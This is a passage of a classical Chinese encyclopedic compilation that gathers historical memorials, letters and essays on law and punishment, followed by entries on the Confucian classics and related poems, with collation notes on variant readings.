国 . 怀 怨 自 相 疑 惧 . 非 国 家 静 难 之 远 术 也 . 伏 惟 陛 下 . 以 淑 圣 之 姿 . 隆 中 兴 之 绪 . 方 将 平 章 典 刑 . 以 序 万 邦 . 而 琨 受 害 . 悲 哀 冤 痛 已 甚 也 . 未 闻 朝 廷 有 以 甄 论 . 昔 壶 关 三 老 . 讼 卫 太 子 之 罪 . 谷 永 刘 向 . 辩 陈 汤 之 功 . 下 足 以 明 功 罪 之 分 . 上 足 以 寤 主 上 之 怀 .\n晋 殷 仲 文 罪 衅 解 尚 书 表 曰 . 臣 闻 洪 波 振 壑 . 川 无 活 ○ 文 选 三 十 八 作 恬 . 麟 . 惊 飙 拂 野 . 林 无 静 柯 . 何 者 . 势 弱 则 受 制 于 人 . 力 微 则 无 以 自 保 . 于 理 虽 昧 . 可 得 而 言 . 于 臣 寔 非 所 敢 论 . 桓 玄 之 世 . 诚 复 驱 迫 者 众 . 于 微 臣 罪 实 深 矣 . 进 不 能 见 危 授 命 . 亡 身 殉 国 . 退 不 能 辞 粟 首 阳 . 拂 衣 高 谢 . 遂 乃 宴 安 昏 宠 . 叨 昧 伪 封 . 锡 文 篡 事 . 曾 莫 独 固 . 名 义 以 之 俱 沦 . 情 节 自 兹 兼 桡 . 宜 其 极 法 . 以 判 忠 邪 . 镇 军 臣 裕 . 匡 复 社 稷 . 大 弘 善 贷 . 纾 一 戮 于 微 命 . 由 ○ 文 选 作 申 . 三 驱 于 大 信 . 既 惠 之 以 首 领 . 后 ○ 文 选 作 复 . 引 之 以 絷 维 . 于 时 皇 舆 否 隔 . 天 人 未 泰 . 用 忘 进 退 . 唯 力 是 视 . 是 以 僶 俛 从 事 . 自 同 全 人 . 今 宸 极 反 政 . 惟 新 告 始 . 宪 章 既 明 . 品 物 思 旧 . 臣 亦 胡 颜 之 厚 . 何 以 显 居 荣 次 . 乞 解 斯 职 . 待 罪 私 门 . 违 谢 阙 庭 . 乃 心 愧 恋 .\n宋 傅 亮 为 刘 毅 军 败 自 解 表 曰 . 遂 令 犬 羊 内 侮 . 兵 缠 紫 极 . 圣 朝 肝 胆 . 社 稷 几 殆 . 稽 之 典 刑 . 罪 不 容 宥 . 赖 天 祚 有 底 . 冢 宰 灵 武 . 长 蛇 翦 毒 . 丑 类 宵 遯 . 今 畿 甸 告 宁 . 四 封 有 截 . 臣 元 衅 大 责 . 既 积 朝 野 . 桑 榆 之 效 . 又 无 与 立 . 而 圣 恩 含 宥 . 弛 其 徽 墨 . 偏 私 之 讥 . 既 彰 民 听 . 况 可 重 荷 岳 牧 之 任 . 复 当 推 毂 之 重 . 宋 赵 伯 符 以 息 旧 犯 罪 乞 解 侍 中 让 军 表 曰 . 臣 识 惭 羊 媪 . 虑 阙 日 磾 . 致 咎 猖 狂 . 初 不 自 悟 . 形 影 相 吊 . 心 情 丧 恧 . 无 宜 复 管 司 喉 唇 . 作 统 连 率 .\n齐 孔 稚 珪 上 新 定 法 律 表 曰 . 臣 闻 匠 万 物 者 . 以 绳 墨 为 政 . 驭 大 国 者 . 以 法 理 为 本 . 故 定 国 释 之 . 声 着 汉 台 . 元 常 文 慧 . 绩 应 魏 阁 . 则 皋 陶 之 谟 . 指 掌 可 致 . 杜 郑 之 业 . 郁 焉 何 远 . 然 后 奸 人 无 所 逃 其 刑 . 恶 吏 无 所 穷 其 诈 . 如 身 手 之 相 驱 . 弦 括 之 相 接 矣 .\n梁 任 昉 为 梁 公 请 刊 改 律 令 表 曰 . 臣 闻 淳 源 既 远 . 天 讨 是 因 . 画 衣 象 服 . 以 致 刑 厝 . 草 缨 艾 . 民 不 能 犯 . 及 淳 德 下 衰 . 运 距 浇 季 . 汤 刑 禹 政 . 不 足 禁 奸 . 九 法 三 章 . 无 以 息 讼 . 所 以 赭 衣 塞 路 . 圄 犴 成 市 . 凝 脂 已 疏 . 秋 荼 非 苦 . 奸 吏 为 市 . 生 杀 并 用 . 可 为 恸 哭 . 岂 徒 一 绪 . 夫 肖 貌 天 地 . 禀 灵 川 岳 . 受 体 爱 敬 . 发 肤 为 重 . 流 矢 影 风 . 顾 有 忧 色 . 而 当 妄 加 刳 斫 . 金 木 为 伍 . 且 夫 刻 木 不 对 . 画 地 不 入 . 畏 避 若 是 . 而 动 贻 非 命 . 王 道 为 亏 . 良 在 于 此 . 法 开 二 门 . 为 政 之 蠹 . 生 杀 多 绪 . 谁 其 适 政 .\n【 书 奏 】 汉 杜 钦 奏 记 于 王 凤 曰 . 切 见 令 曰 . 吏 二 千 石 告 . 过 长 安 . 谒 . 不 分 别 千 ○ 太 平 御 览 六 百 三 十 四 作 予 . 赐 . 今 有 司 以 为 予 告 得 归 . 告 不 . ○ 御 览 作 赐 告 不 得 归 . 此 有 脱 文 . 赐 告 诏 恩 也 . 今 告 则 得 . 诏 恩 不 得 . 失 轻 重 之 差 . 又 二 千 石 病 . 赐 告 得 归 . 有 故 事 . 不 得 去 郡 . 已 亡 者 着 令 . ○ 汉 书 七 十 九 冯 野 王 传 作 不 得 去 郡 无 着 令 . 此 已 者 二 字 疑 衍 . 传 曰 . 赏 疑 从 予 . 所 以 广 恩 劝 功 也 . 罚 疑 从 去 . 所 以 慎 刑 . 阙 难 知 也 . 今 释 令 与 故 事 . 而 假 不 敬 之 法 . 甚 违 阙 疑 从 去 之 意 . 即 以 二 千 石 守 千 里 之 地 . 任 兵 马 之 重 . 不 宜 去 都 . 将 以 制 刑 . 为 后 法 者 . 则 冯 野 王 之 罪 . 在 未 制 . 赏 罚 大 信 . 不 可 不 慎 . 凤 不 听 . 竟 免 野 王 . 郡 国 二 千 石 病 . 赐 告 不 得 归 家 . 自 此 始 也 .\n汉 贡 禹 上 书 曰 . 孝 文 皇 帝 时 . 贵 廉 洁 . 贱 贪 污 . 贾 人 赘 婿 及 吏 坐 赃 者 . 禁 固 不 得 为 吏 . 无 赎 罪 之 法 . 故 令 行 禁 止 . 海 内 大 化 . 武 帝 始 临 天 下 . 尊 贤 用 士 . 自 见 功 大 . 遂 从 嗜 欲 . 迺 行 一 时 之 变 . 使 犯 法 者 赎 罪 . 入 谷 者 补 吏 . 是 以 官 乱 民 贫 . 盗 贼 并 起 . 故 俗 皆 曰 . 何 以 孝 悌 为 . 财 多 而 官 荣 . 使 黥 劓 髡 钳 者 . 犹 复 攘 臂 为 政 . 俗 之 坏 败 . 乃 至 于 此 . 今 欲 兴 至 治 . 致 太 平 . 宜 除 赎 罪 之 法 .\n汉 ○ 按 当 作 后 汉 . 张 俊 上 书 曰 . 臣 辜 恩 负 义 . 自 陷 重 刑 . 情 断 意 讫 . 无 所 复 望 . 廷 尉 鞠 遣 . 欧 刀 在 前 . 棺 絮 在 后 . 魂 魄 飞 扬 . 形 容 已 枯 . 陛 下 圣 泽 . 以 臣 尝 在 近 密 . 识 其 状 貌 . 伤 其 眼 目 . 留 心 曲 虑 . 特 加 偏 覆 . 丧 车 复 还 . 白 骨 更 肉 . 披 棺 发 椁 . 起 见 白 日 . 天 地 父 母 . 能 生 臣 俊 . 不 能 使 臣 俊 当 死 复 生 . 陛 下 德 过 天 地 . 恩 重 父 母 . 诚 非 臣 俊 破 碎 骸 骨 . 举 宗 肉 烂 . 所 报 万 一 .\n魏 钟 繇 上 书 曰 . 大 魏 受 命 . 继 踪 虞 夏 . 孝 文 革 法 . 不 合 古 道 . 先 帝 圣 德 . 固 天 所 纵 . 坟 典 之 业 . 一 以 贯 之 . 是 以 继 世 仍 发 明 诏 . 思 复 古 刑 . 为 一 代 法 . 连 有 军 事 . 遂 未 施 行 . 陛 下 远 追 二 祖 遗 意 . 惜 斩 趾 可 以 禁 恶 . 恨 入 死 之 无 辜 . 使 明 习 律 令 . 与 群 臣 共 议 . 出 本 当 右 趾 而 入 大 辟 者 . 复 行 此 刑 . 书 云 . 皇 帝 清 问 下 民 . 有 辞 于 苗 . 此 言 尧 当 除 蚩 尤 有 苗 之 刑 . 先 审 问 于 下 民 之 有 辞 者 也 . 若 今 弊 狱 之 时 . 讯 问 三 槐 九 棘 . 群 吏 万 民 . 如 孝 景 之 令 . 其 当 弃 市 欲 斩 右 趾 者 . 许 之 . 其 黥 劓 左 趾 . 宫 刑 者 . 自 如 孝 文 易 以 髡 笞 . 能 有 奸 者 . 率 年 二 十 至 四 五 十 . 虽 斩 其 足 . 犹 任 生 育 . 今 天 下 人 少 于 孝 文 之 世 . 下 计 所 全 . 岁 三 千 人 . 张 苍 除 肉 刑 . 所 杀 岁 以 万 计 . 臣 欲 复 肉 刑 . 岁 生 三 千 人 . 子 贡 问 . 能 济 民 可 谓 仁 乎 . 孔 子 曰 . 何 事 于 仁 . 必 也 圣 乎 . 尧 舜 其 犹 病 诸 . 又 曰 . 仁 远 乎 哉 . 我 欲 仁 . 斯 仁 至 矣 . 若 试 行 之 . 斯 民 永 济 .\n晋 刘 颂 上 书 曰 . 古 者 刑 以 止 刑 . 及 今 民 于 此 . 以 刑 生 刑 . 以 徒 生 徒 . 诸 犯 重 亡 者 髡 . 过 三 寸 . 辄 重 髡 之 . 此 以 刑 生 刑 . 加 ○ 原 讹 如 . 据 冯 校 本 改 . 作 一 岁 . 此 以 徒 生 徒 也 . 亡 者 积 多 . 系 囚 猥 畜 . 议 者 因 曰 . 不 可 杀 . 复 从 而 赦 之 . 此 为 刑 不 制 罪 . 法 不 胜 奸 . 民 知 法 之 不 胜 . 相 聚 而 谋 为 不 轨 . 月 异 而 岁 不 同 . 故 自 顷 以 来 . 奸 恶 爱 暴 . 渐 以 滋 蔓 . 日 积 不 已 . 弊 将 所 归 . 识 者 不 深 思 此 故 . 曰 . 肉 刑 于 名 忤 听 . 忤 听 孰 与 贼 盗 不 禁 . 圣 主 制 肉 刑 . 还 有 深 理 . 其 事 所 ○ 太 平 御 览 六 百 四 十 八 作 可 . 得 而 言 . 非 徒 惩 其 畏 剥 割 之 痛 而 不 为 也 . 乃 去 其 为 恶 之 具 . 使 夫 奸 民 无 用 复 肆 其 志 . 止 奸 绝 本 . 理 之 尽 也 . 亡 者 刖 之 . 无 所 用 复 亡 . 盗 者 截 其 手 . 无 所 用 复 盗 . 淫 者 割 其 势 . 理 亦 如 之 . 除 恶 塞 源 . 莫 善 于 此 . 又 非 徒 然 也 . 此 等 已 刑 之 后 . 便 各 归 家 . 父 母 妻 子 . 共 相 养 恤 . 不 流 离 于 涂 路 . 创 愈 可 役 . 上 准 古 制 . 随 宜 业 作 . 虽 以 刑 残 . 不 为 虐 弃 . 而 所 患 都 塞 . 又 生 育 繁 阜 之 道 自 若 也 . 晋 杜 豫 奏 事 曰 . 古 之 刑 书 . 铭 之 鼎 钟 . 铸 之 金 石 . 斯 所 以 远 塞 异 端 . 绝 异 理 也 . 法 出 一 门 . 然 后 人 知 恒 禁 . 吏 无 淫 巧 . 政 明 于 上 . 民 安 于 下 .\n晋 刘 颂 刑 狱 奏 曰 . 君 臣 之 分 . 各 有 所 司 . 法 欲 必 奉 . 故 令 主 者 守 文 . 理 有 穷 塞 . 故 使 大 臣 释 滞 . 事 有 时 . 故 人 主 权 断 . 主 者 守 文 . 若 释 之 执 犯 跸 之 卒 也 . 大 臣 释 滞 . 公 孙 弘 断 郭 解 之 狱 也 . 人 主 权 断 . 若 汉 祖 戮 丁 公 之 为 也 . 天 下 万 事 . 自 非 斯 格 . 不 得 以 出 意 妄 议 . 其 余 皆 以 律 令 从 事 . 然 后 法 信 于 下 . 民 听 不 惑 . 吏 不 容 奸 . 可 以 言 理 . 人 主 执 斯 格 以 责 群 下 . 大 臣 小 吏 . 其 局 则 法 一 矣 . 上 古 议 事 以 制 . 不 为 刑 辟 . 夏 殷 及 周 . 书 法 象 魏 . 三 代 之 君 . 咸 弃 典 常 之 妙 鉴 . 而 任 微 文 之 直 准 . 非 圣 有 殊 . 所 遇 异 也 . 今 论 时 孰 弊 . 不 及 中 古 . 而 执 平 者 . 欲 适 情 之 所 安 . 自 托 于 议 事 以 制 . 臣 切 以 为 听 言 则 美 . 论 理 则 远 . 至 如 非 常 之 断 . 出 法 赏 罚 . 若 汉 祖 戮 楚 臣 之 私 己 . 封 赵 氏 之 无 功 . 唯 人 主 专 之 . 非 奉 职 之 臣 . 所 得 拟 议 . 然 后 情 求 傍 请 之 迹 绝 . 似 是 而 非 之 奏 塞 . 此 盖 齐 法 之 大 准 也 .\n晋 郭 璞 奏 曰 . 臣 闻 上 古 象 刑 而 民 不 犯 . 中 古 明 刑 . 以 致 刑 措 . 故 立 刑 以 禁 刑 . 立 杀 以 去 杀 . 重 之 以 死 . 所 以 求 其 生 . 峻 之 以 刑 . 所 以 轻 其 死 . 死 由 于 法 轻 . 生 存 乎 法 重 . 此 亡 防 之 成 摽 也 . 然 则 刑 无 轻 重 . 用 之 唯 平 . 非 平 法 之 为 难 . 思 在 断 之 为 难 . 是 以 子 皇 行 戮 . 刖 者 忘 痛 . 释 之 典 刑 . 民 无 怨 色 . 何 者 . 积 之 于 诚 也 . 按 癸 酉 诏 书 之 旨 . 专 为 边 成 . ○ 疑 当 作 戍 . 实 之 裔 土 . 济 当 时 一 切 之 用 . 非 为 经 远 之 法 . 亦 是 中 夏 全 平 之 时 . 威 御 足 指 控 制 . 故 可 得 行 之 矣 . 欲 役 无 赖 子 弟 . 驱 不 逞 之 人 . 聚 之 于 空 荒 四 维 之 地 . 将 以 扞 固 牧 圉 . 未 见 其 利 也 . 且 滨 接 鲸 猾 . 密 迩 奸 薮 . 退 未 绝 其 丘 窟 之 顾 . 进 无 以 塞 其 逋 逃 之 门 . 五 流 三 居 . 诚 古 之 犯 刑 . 论 之 于 今 . 事 实 难 行 . 且 律 令 以 跨 三 代 . 历 载 所 遵 . 未 易 轻 改 者 也 . 是 以 刑 法 不 专 . 则 名 幸 者 兴 . 政 令 骤 变 . 则 人 志 无 系 . 子 产 患 其 如 此 . 故 矫 先 正 议 事 之 制 . 而 立 刑 书 之 辟 . 皆 所 以 弼 民 心 而 正 群 惑 者 也 .\n【 启 】 梁 简 文 帝 启 囚 徒 配 役 事 启 曰 . 伏 以 明 慎 三 典 . 宽 简 八 刑 . 宸 鉴 每 以 垂 心 . 国 诰 是 焉 攸 切 . 臣 比 时 奉 敕 旨 . 权 视 京 师 杂 事 . 切 见 南 北 郊 等 处 . 并 启 请 四 五 岁 以 下 轻 囚 . 助 充 使 役 . 优 令 听 狱 官 详 其 可 否 . 侮 文 之 路 自 此 而 生 . 将 恐 玉 科 重 轻 . 全 关 墨 绶 . 金 书 去 取 . 更 由 丹 笔 . 愚 谓 宜 详 五 条 . 制 以 为 永 准 .\n又 谢 邵 陵 王 禁 锢 启 曰 . 臣 纶 习 近 宵 人 . 不 能 改 过 . 屡 犯 明 宪 . 三 入 刑 科 . 昔 缪 彤 掩 扉 . 曹 议 着 论 . 布 衣 兄 弟 . 且 相 诫 勖 . 以 臣 居 长 . 终 惭 劝 励 . 仰 负 慈 严 . 心 颜 战 詟 .\n梁 任 昉 为 王 金 紫 谢 齐 武 帝 未 ○ 全 梁 文 四 十 二 作 示 . 皇 太 子 律 序 启 曰 . 臣 闻 化 澄 上 业 . 草 缨 垂 典 . 教 清 中 世 . 艾 服 惩 刑 . 自 礼 失 宗 周 . 俗 反 炎 汉 . 张 冯 导 其 迹 . 贾 杜 浚 其 流 . 仲 舒 之 得 情 . 孔 子 之 博 约 . 故 以 义 该 往 哲 . 尽 美 前 王 . 而 年 世 浸 远 . 篇 牍 讹 误 . 朽 编 落 简 . 见 诬 前 淑 . 侮 文 擅 议 . 取 弊 后 昆 . 立 不 倚 衡 . 遂 均 鸿 毛 之 殒 . 伤 足 居 忧 . 忘 贻 发 肤 之 痛 . 岂 所 以 临 河 永 叹 . 合 育 最 灵 者 也 . 伏 惟 陛 下 . 施 博 天 地 . 泽 深 禹 汤 . 温 舒 之 策 . 优 游 虚 授 . 卫 展 之 议 . 宁 失 弗 经 . 削 秋 荼 之 法 . 解 凝 脂 之 网 .\n陈 徐 陵 谢 儿 报 坐 事 付 治 中 启 曰 . 夫 拾 金 樵 路 . 高 士 所 羞 . 整 冠 李 下 . 君 子 斯 慎 . 儿 报 不 能 谨 洁 . 敢 触 严 纲 . 右 趾 系 . 事 允 法 科 . 左 校 论 输 . 实 由 恩 宥 . 老 臣 过 庭 之 训 . 多 谢 古 贤 . 折 笄 之 杖 . 有 愧 前 达 .\n晋 叔 向 与 郑 子 产 书 曰 . 昔 先 王 议 事 以 制 . 不 为 刑 辟 . 惧 民 之 有 事 心 . 是 故 闲 之 以 义 . 纠 之 以 政 . 行 之 以 礼 . 守 之 以 信 . 奉 之 以 仁 . 制 为 禄 位 . 以 劝 其 从 . 严 断 刑 罚 . 以 威 其 淫 . ○ 原 讹 泾 . 据 冯 校 本 改 . 惧 其 未 也 . 故 诲 之 以 忠 . 耸 之 以 行 . 教 之 以 务 . 使 之 以 和 . 临 之 以 敬 . 莅 之 以 彊 . 断 之 以 刚 . 犹 求 圣 哲 之 主 . 明 察 之 官 . 忠 信 之 长 . 慈 惠 之 师 . 民 于 是 乎 可 任 ○ 原 讹 住 . 据 冯 校 本 改 . 使 也 . 而 不 生 祸 乱 . 民 知 有 辟 . 则 不 忌 于 上 . 并 有 争 心 . 以 惩 于 书 . 而 徼 幸 以 成 之 . 不 可 为 矣 . 三 辟 之 兴 . 皆 叔 世 也 . 今 吾 子 相 郑 国 . 作 封 洫 . 立 谤 政 . 制 参 辟 . 铸 刑 书 . 将 以 静 民 . 不 亦 难 乎 . 民 知 争 端 矣 . 将 弃 礼 而 征 于 书 . 锥 刀 之 末 . 将 尽 争 之 . 乱 狱 兹 丰 . 贿 赂 并 行 . 终 子 之 世 . 郑 其 败 乎 .\n【 序 】 晋 杜 豫 律 序 曰 . 律 以 正 罪 名 . 令 以 存 事 制 . 二 者 相 须 为 用 .\n晋 张 斐 律 序 曰 . 律 令 者 . 政 事 之 经 . 万 机 之 纬 .\n又 曰 . 郑 铸 刑 书 . 晋 作 执 秩 . 赵 制 国 律 . 楚 造 仆 区 . 并 述 法 律 之 名 . 申 韩 之 徒 . 各 自 立 制 .\n【 论 】 魏 丁 仪 刑 礼 论 曰 . 天 垂 象 . 圣 人 则 之 . 天 之 为 岁 也 . 先 春 而 后 秋 . 君 之 为 治 也 . 先 礼 而 后 刑 . 春 以 生 长 为 德 . 秋 以 杀 戮 为 功 . 礼 以 教 训 为 美 . 刑 以 威 严 为 用 . 故 先 生 而 后 杀 . 天 之 为 岁 . 先 教 而 后 罚 . 君 之 为 治 也 . 天 不 以 久 远 更 其 春 冬 . 而 人 也 得 以 古 今 改 其 礼 刑 哉 . 太 古 之 世 . 民 故 质 朴 . 质 朴 之 民 . 宜 其 易 化 . 是 以 中 古 之 君 子 . 或 结 绳 以 治 . 或 象 刑 惟 明 . 夏 后 肉 辟 . 民 转 奸 诈 . 刑 弥 滋 繁 . 礼 亦 如 之 . 由 斯 言 之 . 古 之 刑 省 . 礼 亦 宜 略 . 今 所 论 辨 . 虽 出 传 记 之 前 . 天 ○ 疑 当 作 夫 . 流 东 源 不 得 西 . 景 正 形 不 得 倾 . 自 然 之 势 也 . 后 世 礼 刑 . 俱 失 于 前 . 先 后 之 宜 . 故 自 有 常 . 今 夫 先 刑 者 . 用 其 末 也 . 曰 ○ 原 作 由 . 据 冯 校 本 改 . 礼 禁 未 然 之 前 . 谓 难 明 之 礼 . 古 人 不 能 行 也 . 按 如 所 云 礼 嫂 叔 不 亲 之 属 也 . 非 太 古 之 礼 也 . 所 云 礼 者 . 岂 此 也 哉 . 古 者 民 少 而 兽 多 . 未 有 所 争 . 民 无 患 则 无 所 思 . 故 未 有 君 焉 . 后 民 祸 多 . 强 暴 弱 . 于 是 有 贤 人 焉 . 平 其 多 少 . 均 其 有 无 . 推 逸 取 劳 . 以 身 先 之 . 民 获 其 利 . 归 而 乐 之 . 乐 之 得 为 君 焉 . 夫 刑 之 记 君 也 . ○ 句 有 伪 文 . 精 其 ○ 原 作 具 . 据 冯 校 本 改 . 筋 力 . 民 畏 其 强 而 不 敢 校 . 得 为 君 也 . 恐 上 古 未 具 刑 罪 之 品 . 设 逋 亡 之 法 . 惧 彼 为 我 . 而 以 勇 力 侵 暴 . 于 已 能 与 则 校 . 不 能 归 奉 之 . 明 矣 . 且 上 古 之 时 贼 耳 . 非 所 谓 君 也 . 上 古 虽 质 . 宜 所 以 为 君 . 会 当 先 别 男 女 . 定 夫 妇 . 分 土 地 . 班 食 物 . 此 先 以 礼 也 . 夫 妇 定 而 后 禁 淫 焉 . 货 物 正 而 后 止 窃 . 此 后 刑 也 .\n魏 曹 羲 肉 刑 论 曰 . 夫 言 肉 刑 之 济 治 者 . 荀 卿 所 唱 . 班 固 所 述 . 隆 其 趣 . 则 曰 像 天 地 . 为 之 惟 明 . 察 其 用 . 则 曰 死 刑 重 而 生 刑 轻 . 其 所 驰 骋 . 极 于 此 矣 . 治 则 刑 重 . 乱 则 刑 轻 .\n又 曰 . 杀 人 者 死 . 伤 人 者 刑 . 是 百 王 之 所 同 . 固 未 达 夫 用 刑 之 本 矣 . 夫 死 刑 者 . 不 唯 杀 人 . 妖 逆 是 除 . 天 地 之 道 也 . 伤 人 者 不 改 . 斯 亦 妖 逆 之 类 也 . 如 其 可 改 . 此 则 无 取 于 肉 刑 也 . 且 伤 人 杀 人 . 皆 非 人 性 之 自 然 也 . 必 有 由 然 者 也 . 夫 有 由 而 然 者 . 激 之 则 淫 . 敦 之 则 一 . 激 之 也 者 . 动 其 利 路 . 敦 之 也 者 . 笃 其 质 朴 . 故 在 上 者 议 兹 本 要 . 不 营 奇 思 . 行 之 以 简 . 守 之 以 静 . 大 则 其 隆 足 以 侔 天 地 . 中 则 其 理 可 以 厚 民 萌 . 下 则 刑 罚 可 以 无 残 虐 . 民 静 理 则 其 化 . 为 恶 之 尤 者 . 众 之 所 弃 . 众 之 所 弃 . 则 无 改 之 验 着 矣 . 夫 死 之 可 以 有 生 . 而 欲 增 淫 刑 以 利 暴 刑 . 暴 刑 所 加 . 虽 云 惩 慢 之 由 兴 . 有 使 之 然 . 谓 之 宜 生 . 生 之 可 也 . 舍 死 析 骸 . 又 何 辜 耶 . 犹 称 以 满 堂 而 饮 . 有 向 隅 哀 泣 . 则 一 堂 为 之 不 乐 . 在 上 者 洗 濯 其 心 . 静 而 民 足 . 各 得 其 性 . 何 惧 乎 奸 之 不 胜 . 乃 欲 断 截 防 转 而 入 死 乎 .\n晋 杨 乂 刑 礼 论 曰 . 览 众 所 抵 . 精 思 构 微 . 迭 为 先 后 .\n文 若 荣 繁 . 翩 然 相 反 . 岂 彼 系 未 存 厥 中 . 尝 试 稽 之 天 地\n. 考 之 人 事 . 旁 贯 品 物 . 综 覈 彝 伦 . 而 刑 礼 之 旨 . 可 略\n言 也 . 盖 刑 礼 之 本 . 经 纬 阴 阳 . 拟 则 干 坤 . 先 王 所 以 化\n民 理 物 . 兴 国 济 治 也 . 或 者 取 证 于 春 秋 . 有 意 乎 寻 本 以\n综 末 . 然 犹 未 离 于 先 后 . 亦 速 难 之 始 也 . 夫 阴 阳 异 制 .\n化 物 则 钧 . 万 物 本 一 . 变 而 殊 形 . 故 王 者 去 彼 而 适 此 .\n于 此 ○ 二 字 据 冯 校 本 补 . 为 生 .\n而 于 彼 为 死 . 夫 死 者 去 此 而 适 彼 . 于 此 为 死 . 而 于 彼 为\n生 矣 . 礼 生 于 让 . 刑 生 于 争 . 让 者 割 己 以 与 人 . 是 刑 加\n于 己 . 而 礼 加 于 人 也 . 争\n者 夺 人 以 崇 己 . 是 刑 施 于 人 . 而 礼 施 于 己 也 . 由 此 言 之 . 让 非 纯 礼 . 争 非 纯 刑 也 . 庆 赏 以 劝 善 . 而 为 恶 者 惩 . 如 有 所 惩 . 刑 亦 存 矣 . 刑 罚 以 惩 恶 . 而 为 善 者 劝 . 如 有 所 劝 . 礼 亦 存 矣 . 故 亡 刑 则 礼 不 独 施 . 大 道 废 焉 . 则 刑 礼 俱 错 . 大 道 行 焉 . 则 刑 礼 俱 兴 . 不 合 而 成 . 未 之 有 也 . ○ 自 九 七 三 页 一 行 刖 见 者 三 字 以 下 至 此 止 . 宋 本 缺 . 据 明 本 补 .\n又 曰 . 三 坟 . 坟 . 分 也 . 论 三 材 . 分 天 地 人 之 始 分 也 . 其 体 有 三 也 . 五 典 . 典 . 镇 也 . 制 教 法 . 所 以 镇 定 上 下 . 差 等 有 五 也 . 八 索 . 玉 法 . ○ 释 名 六 作 着 素 王 之 法 . 此 有 脱 讹 . 若 孔 子 者 . 圣 而 不 至 . ○ 释 名 作 王 . 制 此 法 者 有 八 也 . 九 丘 . 丘 ○ 释 名 丘 下 有 区 也 二 字 . 区 别 九 州 土 气 教 化 所 宜 者 也 . 此 皆 三 玉 . ○ 释 名 作 王 . 以 前 . 上 至 羲 皇 时 书 也 . 唯 尧 典 存 .\n礼 曰 . 孔 子 曰 . 入 其 国 . 其 教 可 知 也 . 其 为 人 也 . 温 柔 敦 厚 . 诗 教 也 . 疏 通 知 远 . 书 教 也 . 广 博 易 良 . 乐 教 也 . 洁 静 精 微 . 易 教 也 . 恭 俭 庄 敬 . 礼 教 也 . 属 辞 比 事 . 春 秋 教 也 .\n春 秋 说 题 ○ 题 字 原 脱 . 据 冯 校 本 补 . 辞 曰 . 六 经 所 以 明 君 父 之 尊 . 天 地 之 开 辟 . 皆 有 教 也 .\n尚 书 璇 玑 钤 曰 . 尚 书 篇 题 号 . 尚 者 上 也 . 上 天 垂 文 象 . 布 节 度 书 也 . 如 天 行 也 .\n博 物 志 曰 . 圣 人 制 作 曰 经 .\n杨 雄 法 言 曰 . 或 问 周 官 . 曰 立 事 . 左 氏 传 . 曰 品 藻 .\n又 曰 . 书 不 经 . 非 书 也 .\n刘 向 七 略 曰 . 孔 子 三 见 哀 公 . 作 三 朝 记 七 篇 . 今 在 大 戴 礼 .\n汉 书 曰 . 昔 宓 羲 仰 观 象 于 天 . 俯 观 法 于 地 . 观 鸟 兽 之 文 . 与 土 地 之 宜 . 近 取 诸 身 . 远 取 诸 物 . 于 是 始 画 八 卦 . 以 通 神 明 之 德 . 以 类 万 物 之 情 . 文 王 重 易 六 爻 . 作 上 下 篇 . 孔 子 为 之 彖 象 系 文 言 序 卦 之 属 十 篇 . 故 曰 . 易 道 深 矣 . 人 更 三 圣 . 世 历 三 古 .\n又 曰 . 诵 其 言 谓 之 诗 . 咏 其 声 谓 之 歌 . 古 者 采 诗 之 官 . 王 者 所 以 观 风 俗 . 知 得 失 . 自 考 正 也 .\n又 曰 . 帝 王 质 文 . 世 有 损 益 . 至 周 . 曲 为 之 防 . 事 为 之 制 . 故 曰 礼 经 三 百 . 威 仪 三 千 .\n又 曰 . 六 艺 之 文 . 乐 以 和 神 . 诗 以 正 言 . 礼 以 明 体 .\n广 雅 曰 . 昔 在 周 公 . 制 礼 以 导 天 下 . 尔 雅 以 释 其 意 义 .\n郑 玄 别 传 曰 . 任 城 何 休 . 好 公 羊 学 . 遂 着 公 羊 墨 守 . 左 氏 膏 育 . 谷 梁 废 疾 . 玄 乃 发 墨 守 . 针 膏 育 . 起 废 疾 .\n周 官 . 外 史 掌 三 皇 五 帝 之 书 .\n春 秋 说 题 辞 ○ 辞 字 原 脱 . 据 冯 校 本 补 . 曰 . 尚 书 者 . 二 帝 之 迹 . 三 王 之 义 . 明 天 下 情 . 帝 王 之 功 . 尚 . 上 也 . 上 帝 之 书 .\n又 曰 . 礼 . 体 也 . 礼 得 则 天 下 咸 得 厥 宜 .\n又 曰 . 诗 天 人 之 精 . 皇 后 之 度 . 故 诗 为 言 志 .\n【 诗 】 晋 傅 咸 孝 经 诗 曰 . 立 身 行 道 . 始 于 事 亲 . 上 下 无 怨 . 不 敢 恶 人 . 孝 无 终 始 . 不 离 其 身 . 三 者 备 矣 . 以 临 其 民 . 其 一 . 以 孝 事 君 . 不 离 令 名 . 进 思 尽 忠 . 不 议 则 争 . 匡 救 其 恶 . 灾 害 不 生 . 孝 悌 之 至 . 通 于 神 明 . 其 二 .\n又 论 语 诗 曰 . 守 死 善 道 . 磨 而 不 磷 . 直 哉 史 鱼 . 可 谓 大 臣 . 见 危 授 命 . 能 致 其 身 . 其 一 . 克 己 复 礼 . 学 优 则 仕 . 富 贵 在 天 . 为 仁 由 己 . 以 道 事 君 . 死 而 后 已 . 其 二 .\n又 毛 诗 诗 曰 . 无 ○ 自 九 八 三 页 四 行 释 名 曰 三 字 起 . 至 此 止 . 宋 本 缺 . 据 明 本 补 . 将 六 ○ 初 学 记 二 十 一 作 大 . 车 . 惟 尘 冥 冥 . 济 济 多 士 . 文 王 以 宁 . 显 允 君 子 . 大 犹 是 经 . 其 一 . 聿 脩 厥 德 . 令 终 有 淑 . 勉 尔 遯 思 . 我 言 惟 服 . 盗 言 孔 甘 . 其 何 能 淑 . 谗 人 罔 极 . 有 腼 面 目 . 其 二 .\n又 周 易 诗 曰 . 卑 以 自 牧 . 谦 尊 而 光 . 进 德 脩 业 . 既 有 典 常 . 辉 光 日 新 . 照 于 四 方 . 小 人 勿 用 . 君 子 道 长 . 其 一 .\n又 周 官 诗 曰 . 惟 王 建 国 . 设 官 分 职 . 进 贤 兴 功 . 取 诸 易 直 . 除 其 不 蠲 . 无 敢 反 侧 . 以 德 诏 爵 . 允 臻 其 极 . 其 一 . 辨 其 可 任 . 以 告 于 正 . 掌 其 戒 禁 . 治 其 政 令 . 各 修 乃 职 . 以 听 王 命 . 其 二 .\n梁 武 帝 撰 孔 子 正 言 竟 述 怀 诗 曰 . 志 学 耻 传 习 . 弱 冠 阙 师 友 . 爱 悦 夫 子 道 . 正 言 思 善 诱 . 删 次 起 实 沉 . 杀 青 在 建 酉 . 孤 陋 乏 多 闻 . 独 学 少 击 叩 . 